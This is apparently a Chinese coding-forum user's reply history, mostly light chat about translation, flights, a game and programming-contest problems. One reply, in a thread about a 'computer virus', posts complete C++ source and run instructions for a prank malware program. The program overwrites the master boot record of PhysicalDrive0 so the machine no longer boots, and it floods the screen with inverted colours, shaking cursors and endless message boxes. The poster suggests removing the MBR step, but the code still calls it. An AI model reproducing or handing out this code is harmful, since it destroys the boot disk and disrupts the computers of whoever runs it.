
Lv.1
可以叫PS或Сергей。一只狼但习惯了被群友叫猫猫(?)别人不许叫(
在 【翻译问题】“福瑞”(兽人)翻译问题 中回复
a福瑞不就是furry吗qwq
用baike.baidu.com的话来说,英文中Furry 有“毛绒绒的”的意思,后来才在约定俗成下衍伸出“兽人”、“兽迷”等相关意思。(嗷呜~)
还有那个beastman翻译的什么鬼(我能去揍翻译软件吗)
百度翻译兽人是オーク很明显Orc音译过来的,不满足题意
福瑞搜不到,全翻译成”覆盖毛皮的“了
福瑞控甚至能给翻译成Furui Control
然后上网查了一下,日语就是ケモノ
2023-08-10T19:37:56 点赞:0
在 【讨论】谁知编程猫是用哪种语言编写出来的?(Java,Python……)???? 中回复
(谁挖的坟?)
后台盲猜Python的Django / Flask / Tornado,嗷呜~
2023-08-11T22:03:19 点赞:0
在 登上去三亚的飞机 中回复
(1个月后的回复)
我6月底刚回来捏
问问啥航司,啥机型
我当时去和回来都是奶航(不会有人不知道奶航=Juneyao Air=吉祥航空吧),空客A320 CEO,机龄好像6.8年
只想吐槽排与排之间间距太小了,脚放不下啊喂(这个人高)
吉祥挺不错,嗯好评
16年也去了一次,Boeing787(唯一坐过的一次波音)(没错其余都是A320和A321),上航的,只记得3小时在飞机上全程好无聊好无聊好无聊
2023-08-27T21:17:07 点赞:0
在 进程已结束,退出代码为 -1073741819 (0xC0000005) 中回复
我只见过Process exited after 1.469 seconds with return value 3221225477(bushi
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()


2023-08-30T20:00:57 点赞:0
在 【Python作品分享】电脑病毒 中回复
送你一串,建议把mainProgramThread线程里面的writeMBR去掉,不然你电脑要废
如何运行:下载Visual Studio(把C++桌面开发装了),新建项目,复制进去F5运行
不过你正常运行应该不会有事,因为writeMBR函数需要管喵权限
#include <Windows.h>
using namespace std;
#define MAX_EXECUTE 5
#define MAX_SOUNDS 3
#pragma comment(lib, "winmm.lib")
HCRYPTPROV prov;
//彩虹猫原版随机函数
int random() {
if (prov == NULL)
if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, CRYPT_SILENT | CRYPT_VERIFYCONTEXT))
ExitProcess(1);
int out;
CryptGenRandom(prov, sizeof(out), (BYTE*)(&out));
return out & 0x7fffffff;
}
LPCWSTR lpExecuteName[MAX_EXECUTE] = {
L"calc",
L"cmd",
L"exlporer",
L"mspaint",
L"write"
};
LPCWSTR lpSoundsName[MAX_SOUNDS] = {
L"SystemHand",
L"SystemQuestion",
L"SystemExclamation"
};
void writeMBR() {
//硬盘文件名
LPCSTR DiskFileName = "\\\\.\\PhysicalDrive0";
//主引导记录
char code[] =
"你的电脑被Oops毁了!"
"如果想重新开机,请使用PE系统恢复! ";
BYTE MBR[512];
DWORD s = NULL, t = NULL;
/* 文件句柄 */
HANDLE handle = NULL;
//构造MBR
memcpy(MBR, code, sizeof(code) - 1);
//打开硬盘
handle = CreateFileA(
DiskFileName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
0,
OPEN_EXISTING,
0,
0);
if (handle == INVALID_HANDLE_VALUE)
{
//打开文件失败
MessageBoxA(NULL, (LPCSTR)"Can't Create File!", (LPCSTR)"error", MB_OK);
return;
}
else {
//写入新的MBR
WriteFile(handle, MBR, sizeof(MBR), &t, NULL);
DeviceIoControl(handle, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &s, NULL);
CloseHandle(handle);//关闭文件
MessageBoxA(NULL, (LPCSTR)"successful", (LPCSTR)"ok", MB_OK);
return;
}
return;
}
void openRandomProgram() {
HWND desktop = GetDesktopWindow();
ShellExecute(desktop, L"open", lpExecuteName[random() % MAX_EXECUTE], NULL, NULL, SW_SHOWNORMAL);
}
void shakeCursor() {
POINT cursor;
const int cursor_freq = 0;
GetCursorPos(&cursor);
SetCursorPos(cursor.x + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 5)), cursor.y + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 5)));
}
void colorReverse() {
HWND desktop = GetDesktopWindow();
HDC hdc = GetWindowDC(desktop);
RECT rectd;
GetWindowRect(desktop,& rectd);
BitBlt(hdc, 0, 0, rectd.right - rectd.left, rectd.bottom - rectd.top, hdc, 0, 0, NOTSRCCOPY);
ReleaseDC(desktop, hdc);
}
void errorSound() {
PlaySound(lpSoundsName[random() % MAX_SOUNDS], GetModuleHandle(NULL), SND_SYNC);
}
void PlayloadIcon()
{
int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN);
int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN);
HWND hDesktop = GetDesktopWindow();
HDC hdc = GetWindowDC(hDesktop);
POINT cursor;
GetCursorPos(&cursor);
DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_ERROR));
if (random() % 70 == 0)
DrawIcon(hdc, random() % iDesktopWidth, random() % iDesktopHeight, LoadIcon(NULL, IDI_WARNING));
if (random() % 70 == 0)
DrawIcon(hdc, random() % iDesktopWidth, random() % iDesktopHeight, LoadIcon(NULL, IDI_INFORMATION));
if (random() % 70 == 0)
DrawIcon(hdc, random() % iDesktopWidth, random() % iDesktopHeight, LoadIcon(NULL, IDI_QUESTION));
}
DWORD WINAPI messageThread(LPVOID lpParameter){
MessageBox(NULL, L"Oops!", L"Oops", MB_OKCANCEL+16);
return 0;
}
DWORD WINAPI moveMessageThread(LPVOID lpParameter) {
int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN);
int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN);
HWND hwnd = GetForegroundWindow();
RECT rect;
GetWindowRect(hwnd, &rect);
MoveWindow(hwnd, random() % iDesktopWidth, random() % iDesktopHeight, rect.right - rect.left, rect.bottom - rect.top, TRUE);
return 0;
}
DWORD WINAPI shakeCursorThread(LPVOID lpParameter) {
while (TRUE) {
shakeCursor();
}
return 0;
}
DWORD WINAPI printIconThread(LPVOID lpParameter) {
while (TRUE) {
PlayloadIcon();
}
}
DWORD WINAPI otherThread(LPVOID lpParameter) {
while (TRUE) {
colorReverse();
errorSound();
Sleep(1000);
}
return 0;
}
DWORD WINAPI mainProgramThread(LPVOID lpParameter) {
writeMBR();
Sleep(20000);
for(int i=0;i<10;i++)
openRandomProgram();
Sleep(15000);
HANDLE mainThread, cursorThread, boxThreads[10001], moveThreads[10001], icoThread;
cursorThread = CreateThread(NULL, 0, shakeCursorThread, NULL, 0, NULL);
Sleep(20000);
mainThread = CreateThread(NULL, 0, otherThread, NULL, 0, NULL);
Sleep(5000);
icoThread = CreateThread(NULL, 0, printIconThread, NULL, 0, NULL);
int cnt = 0;
while(1) {
boxThreads[cnt] = CreateThread(NULL, 0, messageThread, NULL, 0, NULL);
moveThreads[cnt++] = CreateThread(NULL, 0, moveMessageThread, NULL, 0, NULL);
Sleep(500);
}
return 0;
}
//不要管这个
DWORD WINAPI waitForBSOD(LPVOID lpParameter) {
Sleep(90000);
system("reboot");
return 0;
}
DWORD WINAPI mainProgram(LPVOID lpParameter) {
HANDLE mainp, waitp;
mainp = CreateThread(NULL, 0, mainProgramThread, NULL, 0, NULL);
waitp = CreateThread(NULL, 0, waitForBSOD, NULL, 0, NULL);//也不要管这个
while (1) {}
return 0;
}
int main()
{
// openRandomProgram();
int first_request = MessageBox(NULL, L"您确定要运行这个程序吗?\n请注意!本程序可能会损害您的电脑!\n若造成损失,作者一律不负责!", L"注意事项", MB_YESNO+16);
if (first_request == IDNO) return 0;
int second_request = MessageBox(NULL, L"最后一次警告!您确定要运行这个程序吗!\n本程序可能会损害您的电脑!造成文件丢失!\n您真的想运行吗?", L"注意事项", MB_YESNO+16);
if (second_request == IDNO) return 0;
HANDLE mainThread, cursorThread;
mainThread = CreateThread(NULL, 0, mainProgramThread, NULL, 0, NULL);
WaitForSingleObject(mainThread, INFINITE);
// CloseHandle(mainThread);
// CloseHandle(cursorThread);
return 0;
}2023-09-02T21:18:18 点赞:0
在 描述你玩的游戏的玩法,让别人猜 中回复
asdf移动
enter/z/space 交互
shift+方向可以奔跑。
万一碰到一些奇奇怪怪的东西或者某个玩意对你的好感不够等一系列情况......你就只能恢复存档啦~
橙色+白色的有可能是存档机,也有可能嗯。。。。。是某些玄学的东西
有boss,但。。。。嗯。。。怎么说呢,就是嗯。。。让人很想冲上去rua的那种(尤其某只灰色的玩意)
出生点那个下水道交互(还是按d来着)可以直接通关哎~
2023-09-23T21:14:25 点赞:1
在 CSP-J2023初赛部分题目思路分享(完善程序部分) 中回复
这空大家画几个例子分析一下就行了,left表达的是缺失的后一个值
这句解析有点点问题,left改为nums[left]
2023-09-24T10:15:16 点赞:0
在 【神奇代码岛】天州市城投:天州市江南国际机场正在施工中! 中回复
这边请问一下,江南是指江苏还是浙江(好吧大概是以杭州萧山为原型是吧)
我只去过苏南硕放qwq
2023-09-24T22:06:54 点赞:0
在 CSP-J复赛个人解题思路 中回复
题目描述
小 Y 的桌子上放着 n 个苹果从左到右排成一列,编号为从 1 到 n。
小苞是小 Y 的好朋友,每天她都会从中拿走一些苹果。
每天在拿的时候,小苞都是从左侧第 1 个苹果开始、每隔 2 个苹果拿走 1 个苹果。随后小苞会将剩下的苹果按原先的顺序重新排成一列。
小苞想知道,多少天能拿完所有的苹果,而编号为 n 的苹果是在第几天被拿走的?
输入格式
输入的第一行包含一个正整数 n,表示苹果的总数。
输出格式
输出一行包含两个正整数,两个整数之间由一个空格隔开,分别表示小苞拿走所有苹果所需的天数以及拿走编号为 n 的苹果是在第几天。
输入输出样例
输入 #1
8
输出 #1
5 5
说明/提示
【样例 1 解释】
小苞的桌上一共放了 8 个苹果。
小苞第一天拿走了编号为 1、4、7 的苹果。
小苞第二天拿走了编号为 2、6 的苹果。
小苞第三天拿走了编号为 3 的苹果。
小苞第四天拿走了编号为 5 的苹果。
小苞第五天拿走了编号为 8 的苹果。
【样例 2】
见选手目录下的 apple/apple2.in 与 apple/apple2.ans。
【数据范围】
对于所有测试数据有:1≤n≤10^9
测试点 n≤ 特殊性质
1∼2 10 无
3∼5 10^3 无
6∼7 10^6 有
8∼9 10^6 无
10 10^9 无
特殊性质:小苞第一天就取走编号为 n 的苹果。
2023-10-21T15:16:48 点赞:0